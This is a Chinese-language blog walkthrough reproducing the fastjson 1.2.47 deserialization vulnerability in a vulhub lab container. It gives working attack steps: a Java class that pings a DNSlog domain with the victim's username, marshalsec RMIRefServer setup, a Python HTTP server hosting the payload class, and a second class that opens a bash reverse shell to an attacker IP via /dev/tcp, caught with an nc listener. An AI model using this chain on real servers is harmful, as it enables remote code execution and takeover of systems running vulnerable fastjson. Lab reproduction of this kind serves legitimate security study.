vulhub漏洞复现之fastjson1.2.47反弹shell

前言

现在java站越来越多啦,面试也基本上全部问的都是java呀,加油呀

什么是json?

借用人家的表达:.json是用来存储简单的数据结构和对象的文件。json是一种轻量级的数据交换格式,基于ECMAScript(欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据,用于许多Web应用程序来进行数据交换。

什么是fastjson

“fastjson 是一个java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse 的性能提升到了极致。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。 FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。”

漏洞原理

具体分析可以查看该篇文章:http://www.anquanke.com/post/id/181874

引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到type到内容,将json内容反序列化为java对象并调用这个类的setter方法。

因此,攻击者就可以利用这个机制,自己构造json字符串,然后使用@Type标记指定一个自己想要使用的攻击类库。然后fastjson会自己构造的json字符串反序列化然后执行。

类似于如此:

图片[1]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享

流程:

  • 攻击者访问目标网站,通过burpsuite抓包,以json格式添加JdbcRowSetImpl恶意类信息发送给目标机。
  • 目标机对json反序列化时候,会加载执行攻击者构造的信息(访问rmi服务器),rmi给靶机下发命令。
  • 靶机得到rmi的服务的相应,去执行反弹shell类。

漏洞复现

环境准备

这里我们使用的是vulhub提供的环境:

图片[2]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享

启动环境

docker-compose up -d

浏览器访问IP:8089端口

图片[3]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享

出现如此,就是环境正常启动啦。

验证漏洞存在方式

使用burp抓包,并修改发包方式为POST,Content-Type: application/x-www-form-urlencoded更改为:Content-Type: application/json

{
	"name":"anquanclub",
	"age":18
}
图片[4]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享

查看响应包,如果有修改,当然也可以乱输,查看报错也是可以的,如果出现那就是有漏洞的哦,当然也可以ping一下dnslog的

图片[5]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享

dnslog检测

目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。

需要先配置java环境:ubuntu安装java8:参考文章:http://www.cnblogs.com/jaysonteng/p/13453244.html

sudo apt install openjdk-8-jdk

1.保存以下代码为 TouchFile.java文件然后用javac编译成.class文件

import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/sh","-c","ping user.'whoami'.xaxnby.dnslog.cn"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译成class文件

javac TouchFile.java
图片[6]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享

2. 安装好环境mvn和marshalsec都在服务器内下载好!

marshalsec下载:

git clone http://github.com/mbechler/marshalsec.git

mvn下载:apt install mvn 或者 apt install maven

然后用mvn编译生成marshalsec.jar包(或者可以直接有包直接用就ok就不用编译了)

mvn clean package -DskipTests

出现这个就是ok啦

图片[7]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享

 3.把生成的.clsss文件传到公网wps的marshalsec/target目录下

然后通过python3启动一个简单的http服务:python3 -m http.server

图片[8]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享

 4.使用marshalsec项目在wps里启动rmi服务并且监听端口远程加载TouchFile.class类。

进入target目录

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP:8000/#TouchFile" 9001
图片[9]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享

5.抓包然后修改

图片[10]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享

请求发包之后,刚刚的python,以及开启的rmi都会有请求日志:

图片[11]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享
图片[12]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享
图片[13]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享

反弹shell

同样进过上述步骤,只不过我们这里更改命令:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/IP/1888 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

主机监听 1888端口

nc -lvp 1888

重复上述步骤,然后就可以成功反弹shell啦

图片[14]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享
© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容